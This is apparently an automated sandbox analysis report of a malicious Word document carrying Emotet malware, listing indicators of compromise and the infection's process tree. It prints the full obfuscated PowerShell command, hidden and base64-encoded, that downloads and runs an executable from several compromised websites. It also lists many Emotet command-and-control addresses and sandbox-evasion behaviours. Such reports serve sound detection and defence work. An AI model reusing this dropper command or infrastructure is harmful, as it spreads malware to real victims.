Analysis
-
max time kernel
152s -
resource
win10v191014 -
submitted
12-12-2019 13:04
Task
task1
Sample
Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.95.doc
Resource
win7v191014
General
Malware Config
Extracted
http://acqua.solarcytec.com/rtsbgs/XiWmtYYur/
https://blog.learncy.net/wp-admin/user/oxZqQp/
http://hospitalsanrafael.ainimedina.com/wp-includes/vwf-i8ge-4445917/
https://sg771.kwikfunnels.com/phpmyadmin_bck/x9tfn-lv1h4-174129596/
http://www.siyinjichangjia.com/wp-content/WYszsP/
Extracted
emotet
190.146.14.143:443
85.235.219.74:80
78.187.204.70:80
46.105.128.215:8080
69.30.205.162:7080
192.161.190.171:8080
163.172.97.112:8080
86.98.157.3:80
113.52.135.33:7080
175.127.140.68:80
212.129.14.27:8080
200.41.121.69:443
143.95.101.72:8080
190.161.67.63:80
50.116.78.109:8080
37.46.129.215:8080
119.57.36.54:8080
212.112.113.235:80
46.105.131.68:8080
1.32.54.12:8080
139.59.12.63:8080
190.5.162.204:80
83.99.211.160:80
67.254.196.78:443
187.250.92.82:80
83.110.107.243:443
124.150.175.129:8080
123.142.37.165:80
24.28.178.71:80
190.189.79.73:80
182.176.116.139:995
86.70.224.211:80
190.171.135.235:80
115.179.91.58:80
41.218.118.66:80
85.109.190.235:443
178.134.1.238:80
95.216.207.86:7080
142.93.87.198:8080
81.82.247.216:80
95.216.212.157:8080
86.6.123.109:80
165.100.148.200:443
24.27.122.202:80
176.58.93.123:80
193.33.38.208:443
67.171.182.231:80
190.101.87.170:80
185.244.167.25:443
46.17.6.116:8080
82.79.244.92:80
181.44.166.242:80
77.245.12.212:80
158.69.167.246:8080
191.100.24.201:50000
189.225.211.171:443
181.47.235.26:993
174.57.150.13:8080
200.71.112.158:53
41.77.74.214:443
78.46.87.133:8080
192.241.220.183:8080
172.104.70.207:8080
42.51.192.231:8080
124.150.175.133:80
201.196.15.79:990
23.253.207.142:8080
221.154.59.110:80
210.224.65.117:80
60.53.3.153:8080
195.250.143.182:80
51.38.134.203:8080
89.215.225.15:80
138.197.140.163:8080
201.183.251.100:80
128.92.54.20:80
5.189.148.98:8080
110.142.161.90:80
175.103.239.50:80
195.191.107.67:80
189.61.200.9:443
192.210.217.94:8080
98.15.140.226:80
58.93.151.148:80
100.38.11.243:80
103.122.75.218:80
91.117.31.181:80
198.57.217.170:8080
122.11.164.183:80
37.59.24.25:8080
210.111.160.220:80
162.144.46.90:8080
83.156.88.159:80
78.186.102.195:80
211.218.105.101:80
187.233.220.93:443
172.90.70.168:443
72.69.99.47:80
177.103.201.23:80
72.27.212.209:8080
119.159.150.176:443
216.75.37.196:8080
188.230.134.205:80
153.190.41.185:80
45.129.121.222:443
Signatures
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description ioc Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0" Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1" -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 1568 wrote to memory of 4664 1568 SppExtComObj.exe 77 PID 3736 wrote to memory of 3748 3736 Powershell.exe 78 PID 3748 wrote to memory of 4296 3748 177.exe 80 PID 4896 wrote to memory of 4004 4896 mspdispid.exe 89 PID 5020 wrote to memory of 536 5020 svchost.exe 90 -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4960 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3736 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3736 Powershell.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
pid Process 4296 177.exe 4004 mspdispid.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4960 WINWORD.EXE -
Drops file in System32 directory 1 IoCs
description ioc Process File renamed C:\Users\Admin\177.exe => C:\Windows\SysWOW64\mspdispid.exe 177.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4960 WINWORD.EXE 3748 177.exe 4296 177.exe 4896 mspdispid.exe 4004 mspdispid.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT svchost.exe -
Executes dropped EXE 4 IoCs
pid Process 3748 177.exe 4296 177.exe 4896 mspdispid.exe 4004 mspdispid.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.95.doc" /o ""1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4960
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABZAGwAcABnAGQAegBtAGIAPQAnAFUAcwBzAGIAYgBtAHoAaAB1AGgAeABrAGUAJwA7ACQATABnAGUAZABrAGsAZABxAHcAIAA9ACAAJwAxADcANwAnADsAJABJAHoAegBxAHoAaABxAHoAdAB5AHoAPQAnAEEAaQBkAHcAagBxAG4AbABjAGoAeABlAGoAJwA7ACQARABiAGIAcwBrAHAAdwBhAHoAdgBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABMAGcAZQBkAGsAawBkAHEAdwArACcALgBlAHgAZQAnADsAJABFAG4AaABsAGsAcABxAG0APQAnAFkAbQBjAHQAaABjAG4AagBrAHUAeQAnADsAJABCAHkAdwB3AG0AegB5AHAAbgBlAD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMATABJAEUAbgBUADsAJABGAGkAdgBsAHcAbAB6AG8AeQB1AHUAdABsAD0AJwBoAHQAdABwADoALwAvAGEAYwBxAHUAYQAuAHMAbwBsAGEAcgBjAHkAdABlAGMALgBjAG8AbQAvAHIAdABzAGIAZwBzAC8AWABpAFcAbQB0AFkAWQB1AHIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAbwBnAC4AbABlAGEAcgBuAGMAeQAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AdQBzAGUAcgAvAG8AeABaAHEAUQBwAC8AKgBoAHQAdABwADoALwAvAGgAbwBzAHAAaQB0AGEAbABzAGEAbgByAGEAZgBhAGUAbAAuAGEAaQBuAGkAbQBlAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHYAdwBmAC0AaQA4AGcAZQAtADQANAA0ADUAOQAxADcALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGcANwA3ADEALgBrAHcAaQBrAGYAdQBuAG4AZQBsAHMALgBjAG8AbQAvAHAAaABwAG0AeQBhAGQAbQBpAG4AXwBiAGMAawAvAHgAOQB0AGYAbgAtAGwAdgAxAGgANAAtADEANwA0ADEAMgA5ADUAOQA2AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AcwBpAHkAaQBuAGoAaQBjAGgAYQBuAGcAagBpAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBXAFkAcwB6AHMAUAAvACcALgAiAFMAYABQAGwASQB0ACIAKAAnACoAJwApADsAJABVAG4AaABjAGcAcQBiAG0AcABmAG0APQAnAFIAbgBmAGgAagB3AGIAaABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAgAGkAbgAgACQARgBpAHYAbAB3AGwAegBvAHkAdQB1AHQAbAApAHsAdAByAHkAewAkAEIAeQB3AHcAbQB6AHkAcABuAGUALgAiAEQAbwB3AE4AbABvAGAAQQBkAGYAYABJAEwAZQAiACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAsACAAJABEAGIAYgBzAGsAcAB3AGEAegB2AGYAKQA7ACQAUwB1AGcAawB1AHoAaQBmAGwAeQA9ACcAQwBuAGoAdgBhAGMAaQBnAHEAeQBhAGwAegAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApAC4AIgBMAGAARQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADkAMAA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABhAGAAUgB0ACIAKAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApADsAJABDAHIAZwBpAGsAdwBqAGwAawBxAD0AJwBYAGgAagBoAGUAcQBkAHQAegBhAGEAJwA7AGIAcgBlAGEAawA7ACQAVwB2AHQAdQB2AGwAcgB3AD0AJwBUAHMAZQBuAGYAZQB5AGwAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBqAGoAcAB0AGcAaQBhAGsAawA9ACcAQgBmAG4AYgBwAHIAcABmAGEAdQBhACcA1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3736 -
C:\Users\Admin\177.exe"C:\Users\Admin\177.exe"2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:3748 -
C:\Users\Admin\177.exe--653e7fcf3⤵
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:4296
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:4664
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Drops file in Windows directory
PID:2072
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:3024
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DoSvc1⤵PID:4872
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc1⤵
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Program Files\Windows Defender\mpcmdrun.exe"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable2⤵PID:536
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup1⤵PID:3564
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C:\Windows\SysWOW64\mspdispid.exe"C:\Windows\SysWOW64\mspdispid.exe"1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:4896 -
C:\Windows\SysWOW64\mspdispid.exe--f803d2dd2⤵
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:4004
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